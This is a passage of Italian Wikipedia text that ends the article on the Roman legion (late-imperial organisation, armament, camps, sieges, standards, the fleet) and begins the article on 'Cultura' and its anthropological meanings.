legioni che:\nSi trattava delle seguenti \"legiones\":\nCostantino introdusse, quindi, nell'\"esercito mobile\" un nuovo tipo di unit\u00e0 (in aggiunta alle \"legiones\" e alle \"vexillationes\"): gli \"auxilia palatina\", eredi delle unit\u00e0 ausiliarie, che dopo la \"constitutio antoniniana\" di Caracalla (212) erano state integrate nel tessuto imperiale. In particolare gli \"auxilia palatina\" erano costituite da circa 500 fanti, generalmente con armamento leggero, pi\u00f9 versatili delle \"legiones\" ed impiegabili anche in azioni di guerriglia e rastrellamento. Conseguentemente nel tardo impero la distinzione tra \"legiones\" e \"auxilia\" divenne tecnico-tattica, pi\u00f9 che basata sulla cittadinanza dei combattenti che vi militavano. Le legioni, infatti, risultavano meno flessibili ed erano dotate di un'organizzazione migliore rispetto a quella delle \"auxilia\", oltre ad essere armate in modo \"pi\u00f9 pesante\".\nVi \u00e8, infine, da aggiungere che nel 365, il nuovo imperatore Valentiniano I (\"Augustus senior\" presso \"Mediolanum\"), spart\u00ec con il fratello minore Valente (\"Augustus iunior\" presso Costantinopoli) tutte le unit\u00e0 militari dell'Impero (comprese quindi le \"legiones\"), le quali furono attribuite all'uno o all'altro in parti uguali (quelle di armati) oppure divise in due met\u00e0 (quelle con un numero di legionari ancora di consistenza superiore ai armati) dette rispettivamente \"\"senior\" (assegnate a Valentiniano I) e \"iunior\"\" (assegnate a Valente).\nComandi complementari interni alla legione.\nCavalleria.\nCon la riforma costantiniana \"post\" 324, sembra che i reparti di cavalleria legionaria siano stati pressoch\u00e9 aboliti a vantaggio di nuove unit\u00e0 di cavalleria specializzata, denominate \"vexillationes\". Si trattava di unit\u00e0 utilizzate all'interno del \"comitatus\". L'abolizione della cavalleria interna alla legione, fu un processo lungo iniziato dalla riforma di Gallieno (o degli imperatori illirici), quando la cavalleria and\u00f2 lentamente separandosi dalla fanteria legionaria, divenendo di fatto indipendente proprio sotto Costantino I (324-337) e cessando cos\u00ec di esistere come corpo aggregato alla legione romana.\nLe vessillazioni in quest'epoca designavano, non pi\u00f9 i distaccamenti legionari alto imperiali, ma reparti di sola cavalleria. Le \"vexillationes equitum\" andarono incontro a un progressivo consolidamento nell'organico e nel numero di distaccamenti, tanto da far pensare all'assegnazione di una nuova funzione strategica alle unit\u00e0 di cavalleria. Con la riforma di Costantino e dei suoi figli, le vessillazioni divennero unit\u00e0 alla base dell'organizzazione delle forze montate: le \"vexillationes palatinae\" e quelle \"comitatentes\" erano nominalmente formate da 300 o 600 uomini. La \"Notitia dignitatum\" elenca in quest'epoca ben 88 vessillazioni.\nLa cavalleria poteva essere leggera o pesante a seconda dell'armamento o della pesantezza dell'armatura. Esistevano gli \"equites sagittarii\", arcieri a cavallo di derivazione orientale, partica o barbarica, la cavalleria leggera d'avanguardia (\"mauri\", \"dalmatae\", \"cetrati\"), e la cavalleria pesante dei \"catafractarii\" attrezzati di lance e muniti di pesanti armature squamate e o di lorica manica, di derivazione sarmatica, partica o palmirena. Soprattutto in Oriente, se si registra la presenza di ben 19 unit\u00e0 di catafratti secondo la \"Notitia Dignitatum\", una delle quali era una \"schola\", reggimento di guardie a cavallo imperiale. Tutte queste unit\u00e0, tranne due, appartennero al \"Comitatus\", con una minoranza tra i Comitatensi palatini, mentre ci fu solo un'unit\u00e0 militare di arcieri catafratti.\nI corpi di cavalleria erano integrati tanto nelle legioni comitatensi, quanto in quelle limitanee, eredi o delle vecchie \"alae\" di cavalleria ausiliaria o degli \"equites illyriciani\" o dei \"clibanarii\" gi\u00e0 operanti in epoca alto-imperiale.\nUnit\u00e0 d'\u00e9lite erano le \"scholae\", istituite all'inizio del IV secolo per opera di Costantino I a seguito dello scioglimento dell'antica Guardia pretoriana, e divise tra \"gentiles\" e \"scutarii\". Ogni \"schola\" era comandata inizialmente da un tribuno, poi successivamente al V secolo da un \"comes scholarorum\", che aveva sotto il suo diretto commando un certo numero di ufficiali anziani detti \"domestici\" o \"protectores\". Se all'inizio de IV secolo erano elencate tre unit\u00e0, nel V secolo la \"Notitia dignitatum\" elenca sette \"scholae\" nella parte orientale dell'Impero e cinque in quella occidentale.\nGerarchia interna.\nSe al vertice di una delle armate, almeno fino a Onorio e Arcadio, si collocava l'imperatore in persona (il quale poteva delegare gli altri eserciti ad Augusti e Cesari), ai grandi immediatamente inferiori erano preposti i \"magistri militum\", tutti \"comites rei militaris\" in quanto parte dell\"entourage\" imperiale. Essi erano:\nSotto di loro i \"magistri militum\" regionali, per la cavalleria e per la fanteria. Alle dipendenze di questi ultimi vi erano i \"comites\", i conti, distinti da quelli suindicati per essere assegnati al comando di regioni secondarie o considerate pi\u00f9 sicure.\nAi gradi immediatamente inferiori i \"duces\", distribuiti uno per ogni provincia (a cui erano affidate truppe di limitanei, comprendenti anche le \"legiones limitanae\"), e sottoposti all'autorit\u00e0 del \"comes\" territoriale. Il \"prepositus\", invece, poteva apparire alle dipendenze del \"dux\", oppure poteva identificare un grado di comandante di cavalleria o di una specifica unit\u00e0 di appiedati. Sopravvivono in quest'epoca infine, per i quadri dell'esercito, i \"tribuni\", agli ordini di un prefetto e divisi in due grandi categorie: comandanti di unit\u00e0 e comandanti superiori. Altri potevano essere addetti a svariate altre funzioni (dalla fabbricazione delle armi, al comando di unit\u00e0 della flotta ecc).\nCon la fine della guerra civile (nel 324) e la dinastia costantiniana le \"vecchie\" \"vexillationes\" legionarie vennero trasformate in nuove legioni indipendenti dalla legione \"madre\", riducendo il numero di armati fino a 1.200 uomini (come risulta da alcuni passi di Ammiano Marcellino, a proposito della battaglia di Strasburgo del 357 e di Amida del 359, e in Zosimo). San Gerolamo in un passo aiuta a ricostruire quella che doveva essere la gerarchia per gli ufficiali subalterni in quest'epoca. Essa doveva prevedere:\nPer quanto riguarda la truppa, se si fa riferimento alla gerarchia gerolamiana, vi erano nell'ordine il \"biarchus\", il circitor, l\"eques\" (il cavaliere) e il \"tiro\". A questa economia vanno aggiunti il \"pedes\", il fante, e il \"semissalis\", collocato tra il cavaliere e il \"circitor\". Va ricordato che a ciascun grado pi\u00f9 alto, pur trattandosi di soldati, corrispondeva una paga pi\u00f9 alta. Di conseguenza avremmo trovato:\nModello strategico.\nLe legioni stanziate lungo il \"limes\" in quest'epoca hanno ormai assunto una connotazione e un ruolo strategico dissimile dalle altre truppe stanziate in profondit\u00e0, dislocate nei centri interni a causa delle sempre pi\u00f9 gravi difficolt\u00e0 logistiche. La loro posizione and\u00f2 conferendo a queste forze di frontiera, dette di \"limitanei\" o \"ripenses\" (se poste a guardia dei confini fluviali), un ruolo di salvaguardia o di controllo del \"limes\", rispetto alle truppe \"mobili\", quelle dei comitatensi (comitatensi e limitanei potevano essere reclutati entrambi tra cittadini e \"peregrini\").\nLimitanei e comitatensi non vanno necessariamente vincolati gli uni e gli altri ai ruoli di forza \"d'attrito\" stativa e di forza mobile pi\u00f9 flessibile. Una tale distinzione pu\u00f2 anche essere suggerita a motivo della differente collocazione geografica, ma in realt\u00e0 non esiste alcuna certezza che fossero preposti al ruolo, i primi, di forza di contenimento, e, i secondi, di \"riserva strategica\" o \"forza mobile\". Inoltre i limitanei (il cui termine inizia a designare le forze di frontiera solo alla fine del IV secolo) iniziano ad essere impiegati sensibilmente pi\u00f9 tardi rispetto al \"comitatus\", gi\u00e0 esistente prima dell'avvento di Diocleziano.\nL'accusa di Zosimo rivolta a Costantino, e replicata dall'anonimo autore del \"De rebus bellicis\" attorno al 370, di aver minato la difesa delle frontiere allo scopo di istituire forze dinamiche di intervento, tradendo il progetto dioclezianeo del presidio dei confini, ha per lungo tempo contribuito a interpretare in senso oppositivo le strategie militari di Diocleziano e di Costantino.\nLa scelta di Costantino fu dettata principalmente dalla maggiore facilit\u00e0 di approvvigionamento per le truppe vicine ai centri cittadini (pur comportando tale iniziativa ovvi problemi di ordine pubblico e di abusi da parte dei militari). Diocleziano aveva scelto di rafforzare le difese, di costruire nuovi forti, anche se dotandoli di una quantit\u00e0 di truppe di difesa inferiore rispetto al periodo precedente. Ogni provincia era dotata di due legioni, due \"vexillationes\" di cavalleria (ognuna di 500 uomini) per un totale di soldati circa. Costantino, all'opposto, con le forze prelevate dalle frontiere trasform\u00f2 il \"comitatus\", comandato da \"magistri militum\" provinciali, che divenne la principale massa di manovra dell'esercito. A questo si affiancava la forza limitanea, sottoposta al controllo dei \"duces\". Con Costantino il controllo dell'esercito era inoltre definitivamente sottratto ai governatori, ormai ridotti al ruolo esclusivo di amministratori e giudici. Sotto Costantino si ebbe, ancora una volta, la necessit\u00e0 di creare nuove legioni da porre lungo i confini imperiali, portando inevitabilmente ad un incremento del fabbisogno finanziario statale per mantenere le armate che ormai sembra raggiungessero i 600\u00a0000 uomini.\nLa \"Notitia Dignitatum\" fornisce, infine, un quadro pi\u00f9 o meno completo, anche se in gran parte anteriore alle grandi invasioni ed ai regni romano-barbarici, della struttura delle province e delle unit\u00e0 militari. Dal documento emerge una certa frammentazione, un quadro di apparente indebolimento delle vecchie legioni, con unit\u00e0 prive di un organico completo, anche se del tutto regolari e pienamente inserite all'interno di un preciso organigramma. L'aspirazione ad entrare nella milizia limitanea era, generalmente, pi\u00f9 diffusa, non solo perch\u00e9 chi vi era arruolato (ovvero i provinciali) avesse il vantaggio di rimanere vicino alla famiglia, ma anche in ragione dell'esenzione a beneficio dei figli dei curiali (il notabilato delle citt\u00e0), garantita da una legge del 363, dell'obbligo ereditario alla ferma (riservato unicamente a coloro che sceglievano la strada dell'arruolamento e servivano nell'esercito per 10 anni).\nDa Adrianopoli alla fine dell'Occidente (378-476).\nIn seguito alla sconfitta di Adrianopoli, l'Impero dovette venire a patti con i vittoriosi Goti, concedendo loro di stanziarsi nei Balcani come \"foederati\" semi-autonomi: essi mantennero il loro stile di vita e la loro organizzazione tribale stanziandosi in territorio romano come esercito alleato dei romani. Oltre ai Visigoti, che alla fine ottennero, dopo molte altre battaglie contro l'Impero, la concessione dall'imperatore Onorio di fondare un regno federato in Aquitania (418), altri popoli come Vandali, Alani, Svevi e Burgundi (che entrarono all'interno dei confini dell'Impero nel 406) ottennero, grazie alle sconfitte militari inflitte all'impero, il permesso imperiale di stanziarsi all'interno dei confini.\nLe devastazioni dovute alle invasioni e le perdite territoriali determinarono una costante diminuzione del gettito fiscale con conseguente progressivo indebolimento dell'esercito: un esercito professionale come quello romano, infatti, per essere mantenuto efficiente, aveva bisogno di essere pagato e equipaggiato, e le ristrettezze economiche dovute al crollo del gettito fiscale portarono ovviamente a un declino progressivo delle capacit\u00e0 di addestramento, arruolamento, dell'organizzazione logistica e della qualit\u00e0 dei rifornimenti in armi e derrate ai soldati (si spiegano in questo senso le sempre pi\u00f9 crudeli minacce ai cittadini contenute nelle leggi del periodo in caso di mancato versamento dei tributi). Da un'attenta analisi della \"Notitia Dignitatum\", si pu\u00f2 ricavare che quasi la met\u00e0 dell'esercito campale romano-occidentale and\u00f2 distrutto nel corso delle invasioni del 405-420, e che le perdite furono solo in parte colmate con l'arruolamento di nuovi soldati, mentre molte delle ricostituite unit\u00e0 erano semplicemente unit\u00e0 di \"limitanei\" promossi a \"comitatenses\", con conseguente declino delle potenzialit\u00e0 militari con riferimento sia alla consistenza meramente quantitativa delle truppe che sotto il profilo della qualit\u00e0.\nLa perdita dell'Africa ebbe riverberi inevitabili e seri sulle finanze dello stato, indebolendo ulteriormente l'esercito (attorno al 444). Le perdite subite portarono all'ammissione in grosse quantit\u00e0 di ausiliari e \"foederati\" germanici (ad esempio Unni): ci\u00f2 poteva portare benefici a breve termine, ma era deleterio a lungo termine, in quanto diminuiva gli investimenti nel rafforzamento delle unit\u00e0 regolari.\nNel tardo impero l'esercito, per difendere i confini imperiali dalla crescente pressione barbarica, non potendo contare su reclute insignite di cittadinanza, a causa sia del calo demografico all'interno dei confini dell'Impero, sia della resistenza alle coscrizioni, ricorse sempre di pi\u00f9 a contingenti di \"gentiles\" (fino a una vera deriva \"mercenaristica\"), utilizzati dapprima come mercenari a fianco delle unit\u00e0 regolari tardo imperiali (\"legiones\", \"vexillationes\" e \"auxilia\"), ed in seguito, in forme sempre pi\u00f9 ingenti e diffuse, come alleati che conservavano le loro tradizioni e le loro usanze belliche. Il risultato fu un esercito romano nel nome, ma sempre pi\u00f9 culturalmente estraneo alla societ\u00e0 che era chiamato a proteggere.\nVegezio, autore di un manuale di strategia militare redatto tra la fine del IV secolo e la prima met\u00e0 del V secolo, si lament\u00f2 per l'imbarbarimento progressivo dell'esercito romano, il quale, cominciando a combattere alla maniera barbarica, perse il suo tradizionale vantaggio nella superiore disciplina e strategia militare; lo stesso Vegezio si lament\u00f2 per il fatto che l'imperatore Graziano avesse permesso ai suoi fanti, probabilmente di origini barbariche, di non indossare pi\u00f9 elmo e armature, esponendoli maggiormente alle armi nemiche e portando come nefasta conseguenza a diverse sconfitte contro gli arcieri goti. Vegezio lament\u00f2 poi che non si costruissero pi\u00f9 accampamenti e riferisce le conseguenze nefaste di questa scelta. Sempre Vegezio lamentava poi che i proprietari terrieri, non intendendo perdere manodopera, escogitavano diversi espedienti pur di non fornire soldati all'esercito, ricorrendo anche alla corruzione degli ufficiali reclutatori: ci\u00f2 fece s\u00ec che, invece di reclutare gente idonea al combattimento, venissero reclutati pescatori, pasticcieri, tessitori ed altre professioni ritenute non idonee da Vegezio. La soluzione di Vegezio era tornare all'antico modo di combattere, alla \"maniera romana\", abbandonando il modo di combattere \"alla barbara\" introdotto dal sempre pi\u00f9 crescente arruolamento di Barbari; in Occidente, tuttavia, per diverse ragioni, non si riusc\u00ec a invertire questa tendenza, portando alla sua rovina.\nDa alcune fonti letterarie del tempo si pu\u00f2 evincere che il termine \"ausiliario\" divenne a poco a poco sinonimo di \"soldato\", cos\u00ec come lo fu nei secoli precedenti il termine \"legionario\", il che sta ad indicare una fase di progressiva smobilitazione delle antiche unit\u00e0 legionarie in favore di quelle ausiliarie. In una seconda ed ultima fase, l'esercito romano avrebbe perso definitivamente la sua identit\u00e0, quando probabilmente anche la maggior parte degli \"auxilia palatina\" furono rimpiazzate da federati.\nIntorno al 460 l'esercito romano, e di conseguenza le \"legiones\", dovevano apparire solo l'ombra di s\u00e9 stesse, con i territori ridotti ormai alla sola Italia o poco pi\u00f9. Nonostante tutto, secondo alcuni studiosi, l'esercito romano rimase efficiente fino ad almeno a Maggioriano (461). Sotto Ezio e Maggioriano, l'Impero sembra fosse ancora in grado di affrontare e vincere in battaglia Visigoti, Burgundi, Bagaudi, Franchi, mantenendo sotto il suo controllo la Gallia, a riprova di una sua relativa efficienza. Solo con l'uccisione di Maggioriano cominci\u00f2 il definitivo declino, a causa della rivolta dell'esercito delle Gallie che port\u00f2 alla formazione di uno stato secessionista in Gallia settentrionale, il Dominio di Soissons. Privato dell'esercito delle Gallie, ed essendosi ridotti i territori gallici sotto il controllo del governo centrale alle sole Provenza e Alvernia, l'impero non fu pi\u00f9 in grado di difendere queste province con il solo ricorso all'esercito d'Italia. Nel 476 le armate sollevate da Odoacre contro il \"magister militum\" Flavio Oreste e l'ultimo imperatore in Italia, Romolo Augusto, erano costituite unicamente da alleati germanici, perlopi\u00f9 Sciri ed Eruli. Tuttavia l'assetto generale dell'esercito romano tardo-imperiale, e alcune sue unit\u00e0, sopravvissero almeno fino al VI secolo in seno alla \"Pars Orientis\". Teofilatto Simocatta attesta, ancora a fine VI secolo, l'esistenza della \"Legio IV Parthica\", anche se all'epoca le legioni erano quasi del tutto scomparse, sostituite da reggimenti di circa 500 soldati denominati \"numeri\" (in latino) o \"arithmoi\" (in greco).\nArmamento.\nEt\u00e0 regia.\n\"Xiphos\" (\"s\"pada greca a punta); lancia da urto; \"oplon\" (\"s\"cudo di origine greca rotondo e concavo, che contraddistingueva l'oplita); \"linothorax\" (armatura greca di tessuto); elmo corinzio\",\" elmo attico ed elmo calcidico (elmi di fogge greche, largamente usati dai Romani in et\u00e0 regia).\nEt\u00e0 repubblicana.\nEquipaggiamento dei \"Velites\": scudo piccolo, rotondo e di legno; spada a punta, soltanto per infilzare; poi sostituita dal gladio; elmo piccolo e semplice; pelliccia di lupo da mettere sopra l\u2019elmo; giavellotti corti e con una punta sottile.\nEquipaggiamento degli \"Hastati\": spade all\u2019inizio di foggia greca, poi sostituite, a seguito della seconda guerra punica, con il \"gladius hispaniensis\"; due \"pila\" con la punta di ferro dolce; \"scutum\" ovale o rettangolare con i lati arrotondati; pettorina in bronzo che copriva soltanto il petto; elmo del tipo di Montefortino, in bronzo, dotato di tre piume d\u2019aquila rosse.\nEquipaggiamento dei \"Principes\": spade all\u2019inizio di foggia greca, poi sostituite, a seguito della seconda guerra punica, con il \"gladius hispaniensis\"; due \"pila\" con la punta di ferro dolce; \"scutum\" ovale o rettangolare con i lati arrotondati; \"lorica hamata\"; elmo di Montefortino, in bronzo, dotato di un cimiero di crini di cavallo.\nEquipaggiamento dei \"Triarii\": spade di foggia greca, poi sostituite, a seguito della seconda guerra punica, con il \"gladius hispaniensis\"; lancia da urto; lorica musculata (molto costosa); \"scutum\" ovale o rettangolare con i lati arrotondati; elmo del tipo di Montefortino, in bronzo, dotato di tre piume nere.\nI secolo a.C..\n\"Lorica hamata\"; gladio (spada corta, a punta e a doppio taglio); elmo del tipo di Montefortino, dotato di un ciuffo di crini di cavallo; \"scutum\" rettangolare con i lati arrotondati; due \"pila\" con la punta di ferro dolce; \"pugio\" (pugnale: usato come arma di ultima difesa).\net\u00e0 augustea.\nGladio (spada corta, a punta e a doppio taglio); elmo\"coolus\" e \"agen port\"; \"lorica hamata\"; \"pugio\"; \"scutum\"; due \"pila\".\net\u00e0 imperiale.\n\"Gladius hispaniensis\" (spada corta a doppio taglio); \"pilum;\" \"pugio\" (pugnale appeso alla vita tramite una cintura); \"scutum\" rettangolare di legno dotato di una parte centrale in ferro usato per lo sfondamento; \"lorica segmentata\" (corazza a piastre di ferro sovrapposte); elmo di derivazione gallica.\nFortificazioni.\nLe legioni alloggiavano in due tipi di accampamenti (\"castrum\"): \"da marcia\" o permanenti. I primi erano costruiti in via temporanea per garantire la sicurezza della legione durante la sosta notturna in territorio nemico, i secondi erano relativamente stabili e potevano essere di due tipi: \"castra hibernia\", in cui svernare, e \"castra aestiva\", in cui alloggiare le truppe nei mesi estivi o in prossimit\u00e0 delle campagne militari. I sistemi difensivi pi\u00f9 rapidi e pi\u00f9 facilmente realizzabili erano costituiti dai cavalli di frisia, ovvero da \"pila muralia\" (pali acuminati con un'incavatura al centro per consentire l'incastro assieme ad altri \"pila\") legati insieme e posti in cima agli aggeri che sorgevano accanto all\"intervallum\" che separava la zona adibita ad ospitare le tende (\"papiliones\"), da quella della cinta difensiva, solitamente costituita da un fossato a ridosso di un terrapieno, per i campi temporanei, o da un \"vallum\" di legno o pietra (intervallato da quattro porte mediane) munito di torri per quelli permanenti. Le tende erano fatte di pelli cucite di vitello, di capra o di cuoio.\nIl castrum romano era attraversato da due strade principali che intersecavano nell'area del \"Praetorium\" (tenda o abitazione del comandante) e dei \"Principia\" (quartier generale), la \"via Praetoria\" (che collegava \"porta praetoria\" e \"porta decumana\") e la \"via Principalis\" (che collegava le due porte principali). Il castrum romano poteva estendersi anche su 20-30 ettari e ospit\u00f2 fino all'89 d.C. 2 legioni, dopodich\u00e9 ne pot\u00e9 ospitare solo una. Le unit\u00e0 ausiliarie avevano propri forti distribuiti nelle zone pi\u00f9 di confine ed erano intervallate con quelle legionarie. Le fortezze ausiliarie (\"\") erano basi di attivit\u00e0 di pattugliamento e monitoraggio dei confini, fondamentali anche per tenere impegnato il nemico in caso di invasione. I forti erano dotati anche del \"valetudinarium\", di un ospedale militare.\nConduzione degli assedi e macchine da guerra.\nLe fasi dell'assedio erano fondamentalmente tre, svincolate spesso da un ordine logico tra loro. La prima consisteva nel porre il blocco all'ingresso di merci e persone nella citt\u00e0 e nell'isolamento del nucleo cittadino. La seconda fase era quella della \"contravallatio\" (controvallazione), utilizzata a Masada, consistente nella costruzione di una semplice palizzata, di un fossato o di fortificazioni pi\u00f9 complesso come sistema di difesa dagli assediati. Ulteriore sviluppo della seconda era la fase (terza) della \"circumvallatio\", utile ai fini della difesa dall'esterno e dall'interno del campo degli assedianti, impiegato da Cesare ad Alesia.\nUtili in fase di avanzamento erano le \"vinee\" (anche i plutei) o in alternativa la formazione a testuggine, delle tettoie mobili per proteggere i soldati o gli scavatori nell'avvicinamento alle mura. Armi d'assedio ampiamente utilizzate erano le baliste, grosse balestre utilizzate per scagliare proietti di pietra o frecce e gli \"scorpiones\", utilizzati per il lancio di dardi e frecce di medie dimensioni. Spesso erano utilizzate anche rampe (come quelle di Jotapata e Masada) per far arrivare le torri d'assedio alle mura (munite di baliste o di arieti) o si ricorreva alla costruzione di imponenti terrapieni (come ad Avarico).\nVegezio elenca sette tipi di armi d'assedio nell'Epitoma, riferibili a quest'epoca, ma certamente collocabili anche nei tempi anteriori. Le macchine pi\u00f9 utilizzate erano:\nSimboli della legione.\nDurante il suo secondo consolato, nel 104 a.C., Gaio Mario confer\u00ec all'aquila un valore simbolico particolare, rendendola il segno distintivo della legione. Racconta Plinio che prima della decisione di Mario la legione possedeva altri quattro simboli: il lupo, il cavallo, il minotauro e il cinghiale, recati davanti a ciascun rango dell'esercito. Non \u00e8 chiaro tuttavia cosa identificassero queste quattro figure, e se fossero utilizzate insieme o servissero ciascuna a designare un determinato raggruppamento. Si potrebbe ipotizzare che i quattro simboli fossero riferiti alle quattro legioni citate da Livio. L'aquila in et\u00e0 imperiale era tenuta in consegna dalla prima centuria della prima coorte.\nLa progressiva sostituzione dell'aquila, sacra a Giove Capitolino, o il suo affiancamento al \"draco\", simbolo religioso e militare presso i daci e i sarmati, con tutta probabilit\u00e0 assimilato dai romani durante la campagna dacica di Traiano, tanto da essere riportato in ben 20 scene della Colonna traiana, dovrebbero risalire al II secolo. Il simbolo compare in numerosi coni emessi da Antonino Pio, Decio, Claudio il Gotico e Aureliano. Prima adottato dalle coorti e dalle ali di cavalleria, pass\u00f2 successivamente a identificare l'intera legione.\nOltre all'aquila e al drago sar\u00e0 utilizzato pi\u00f9 tardi il labaro (\"labarum\"), drappo quadrato recante il monogramma di Cristo (oppure costituito da un drappo con tre cerchi sormontato dal monogramma), quando Costantino ne far\u00e0 il simbolo del proprio esercito, promuovendone la sostituzione, una volta divenuto imperatore, alle precedenti simbologie pagane. Secondo Eusebio di Cesarea, il ritratto dell'imperatore si trovava sulla met\u00e0 superiore del drappo, mentre sulla met\u00e0 inferiore era disegnata una croce. Il Chi-Rho, invece, era attaccato al braccio superiore della croce. Il labaro, assieme al \"draco\", una manica a vento purpurea retta da un'asta sfarzosa, precedeva le truppe in marcia alla testa dell'esercito.\nSigniferi e vessilliferi.\nI simboli militari romani erano il \"vexillum\", un piccolo stendardo consistente in un drappo, e il \"signum\", costituito da forme solide raffiguranti animali, persone o oggetti. Gli addetti al trasporto dei simboli delle legioni e delle centurie erano: l\"aquilifer\" per l'aquila della legione, il \"signifer\" per il simbolo del manipolo o della centuria, il \"vexillarius\" per il portatore del vessillo, l\"imaginifer\" per le \"imagines\" degli imperatori e, in epoca tarda, il \"draconarius\" (i portatori del \"draco\" erano sottoposti a un \"magister draconum\") per il \"draco\", che pass\u00f2 ad identificare anche il \"signifer\". All'interno dell'accampamento o del forte le insegne (\"signa militaria\") erano conservate nell\"aedes signorum\", uno degli edifici dei \"Principia\" (quartier generale della legione), contenente gli stendardi delle unit\u00e0.\nL\"aquilifer\", di solito un signifero anziano, secondo nella gerarchia rispetto al centurione, era una figura di primaria importanza della legione, avendo la responsabilit\u00e0 di condurre in battaglia il simbolo dell'intero corpo militare, anche se la sua tutela era assegnata al centurione. Conservare e difendere l'aquila significava preservare la continuit\u00e0 della legione, perch\u00e9 la sua perdita poteva comportarne lo scioglimento, come avvenuto per le legioni distrutte dopo le battaglie di Carre e Teutoburgo. La caduta nelle mani del nemico delle insegne era un'onta gravissima, tanto che Augusto si prodig\u00f2 per ottenere la restituzione delle insegne di Crasso, riuscendo a farsele riconsegnare dal re parto Fraate IV nel 20 a.C.\nOgni centuria, comprese quelle ausiliarie che avevano uno specifico \"signifer auxilia\", possedeva un'insegna (\"signum\") che consisteva in un certo numero di dischi metallici (\"phalerae\"), di solito in numero di sei (corrispondenti alle centurie nella coorte), fissati ad un'asta di legno, terminante in una punta o una forma di mano (il cui significato \u00e8 incerto) al di sotto della quale poteva essere montato una targa con su indicato il numero della coorte o della centuria stessa. Il \"vexillum\" era uno stendardo, riportante il nome della legione, il simbolo e il numero, uno per ogni legione. Spesso identificava una \"vexillatio\" legionaria, ovvero un distaccamento della legione. L\"imaginifer\" invece era il portatore dell\"imago\" dell'imperatore, introdotta da Augusto, quando la figura dell'imperatore divenne oggetto di culto. L\"imago\" o le \"imagines\" erano ritratti realizzati in metallo battuto, custoditi dalla prima coorte.\nLegione e flotta.\nNel 214 a.C. nel pieno dell'attacco di Annibale, a \"Brundisium\" agli ordini di Marco Valerio Levino era acquartierata una forza di fanteria della consistenza di una \"legio classica\" a supporto delle operazioni della Marina militare romana nell'Adriatico, che per\u00f2 venne utilizzata per difendere la costa illirica dagli attacchi di Filippo di Macedonia. Dopo le sanguinose guerre contro Cartagine, la flotta romana era diventata tra le pi\u00f9 forti del Mediterraneo. Sotto Augusto, incrementata nel numero di navi, essa divenne stabile. Le principali basi di stanziamento divennero Miseno, presso Pozzuoli, nel Mar Tirreno e Classe, presso Ravenna, nel Mar Adriatico, col compito di controllare l'una il Mediterraneo occidentale, l'altra quello orientale. Flotte minori erano stanziate nei mari delle province periferiche (Britannia, Germania, Pannonia, Mesia, Ponto, Siria).\nCon l'ulteriore espansione della flotta, le navi vennero dotate di contingenti di fanteria imbarcata. Questa era in forza alla base principale del Miseno, ed effettuava le comuni esercitazioni della fanteria romana, oltre alle speciali tecniche della guerra sul mare, come abbordaggi e il bersagliare le navi avversarie dalle torri delle quali erano dotate le unit\u00e0 maggiori della flotta. Il numero di queste unit\u00e0 fu soggetto a contrazioni ed espansioni nel tempo, seguendo le fortune della marina alla quale era in forza. In effetti, la fanteria di marina romana, antesignana di quella attuale in forza a quasi tutte le marine militari moderne, aveva una sua struttura e dei suoi campi di addestramento, come la \"Schola Militum\" di Miseno.\nIl comando di ogni flotta era affidato a prefetti di rango equestre, talvolta a liberti. Al prefetto del Miseno era assegnata una superiorit\u00e0 gerarchica rispetto a quello ravennate. Le flotte provinciali erano guidate invece da centurioni o da prefetti equestri. Ogni nave era assimilata ad una centuria e comandata di norma da un centurione chiamato \"triarca\". Al di sotto del prefetto, di grado superiore al centurione \"triarca\" c'era il \"navarca\", comandante di una flottiglia o di una squadra di imbarcazioni, anche se Vegezio sostiene che fosse a capo di una singola nave, con l'incarico di curare l'addestramento dell'equipaggio.\nBibliografia.\nIn letteratura.\nDiversi romanzi storici sono stati ispirati alle legioni romane in quanto unit\u00e0 combattenti organizzate. Tra questi:"}
{"id": "26507", "revid": "2194416", "url": "https://it.wikipedia.org/wiki?curid=26507", "title": "Cultura", "text": "Il termine cultura deriva dal verbo latino \"colere\", \"coltivare\". L'utilizzo di tale termine \u00e8 stato poi esteso a quei comportamenti che imponevano una \"cura verso gli dei\", da cui il termine \"culto\" e a indicare un insieme di conoscenze. Non c'\u00e8 univocit\u00e0 degli autori sulla definizione generale di cultura anche nella traduzione in altre lingue e a seconda dei periodi storici, grosso modo oggi \u00e8 intesa come un sistema di saperi, opinioni, credenze, costumi e comportamenti che caratterizzano un gruppo umano particolare; un'eredit\u00e0 storica che nel suo insieme definisce i rapporti all'interno di quel gruppo sociale e quelli con il mondo esterno.\nDescrizione.\nIl concetto moderno si pu\u00f2 intendere come quell'insieme di conoscenze e di pratiche acquisite che vengono trasmesse di generazione in generazione.\nTuttavia il termine cultura nella lingua italiana denota pi\u00f9 significati di diversa interpretazione:\nEstensione del termine.\nEsistono diversi significati del concetto di cultura:\nNegli anni, la definizione antropologica di Cultura \u00e8 molto cambiata, secondo l'antropologo Ulf Hannerz, \"una cultura \u00e8 una struttura di significato che viaggia su reti di comunicazione non localizzate in singoli territori\".\nLa definizione dell'UNESCO considera la cultura come \"una serie di caratteristiche specifiche di una societ\u00e0 o di un gruppo sociale in termini spirituali, materiali, intellettuali o emozionali\".\nL'uso popolare della parola cultura in molte societ\u00e0 occidentali pu\u00f2 riflettere semplicemente il carattere stratificato di queste societ\u00e0: molti usano questa parola per designare i beni di consumo, e attivit\u00e0 come ad esempio la cucina, l'arte o la musica. Altri usano il termine di \"cultura alta\" per distinguere quest'ultima da una presunta \"cultura bassa\", intendendo con quest'ultima l'insieme dei beni di consumo che non appartengono all'\u00e9lite.\nIn antropologia.\nLa cultura in senso antropologico consiste in:\nLe caratteristiche che definiscono la cultura nella concezione descrittiva dell'antropologia sono principalmente tre:\nPerch\u00e9 un'azione o un tratto possano essere definiti \"culturali\" occorre quindi che siano condivisi da un gruppo. Ci\u00f2 per\u00f2 non significa che un fenomeno \"culturale\" debba essere obbligatoriamente condiviso dalla totalit\u00e0 della popolazione: \u00e8 necessario lasciare spazio per la normale variabilit\u00e0 individuale.\nAnche per quanto riguarda le variazioni di comportamento tra individuo ed individuo all'interno di una societ\u00e0, per\u00f2, \u00e8 possibile individuarne dei limiti circoscritti proprio dalle norme sociali che regolano quel determinato gruppo.\nFrequentemente gli individui appartenenti ad una determinata cultura non percepiscono la loro condotta regolata da tali norme che impongono quale comportamento sia consentito e quale no.\nIn antropologia l'insieme di queste norme sociali vengono definite modelli culturali generalmente riconosciute anche come \"ideali\".\nLe propriet\u00e0 antropologiche della cultura.\nLa Cultura \u00e8:\nIn tutte le culture esiste un \u201cmodello di\u201d (es. pulizia, decoro, legge), un modello attraverso cui si pensa qualcosa. I modelli di generano \u201cmodelli per\u201d, modelli guida al diverso modo di agire\nLa cultura presenta al proprio interno dei 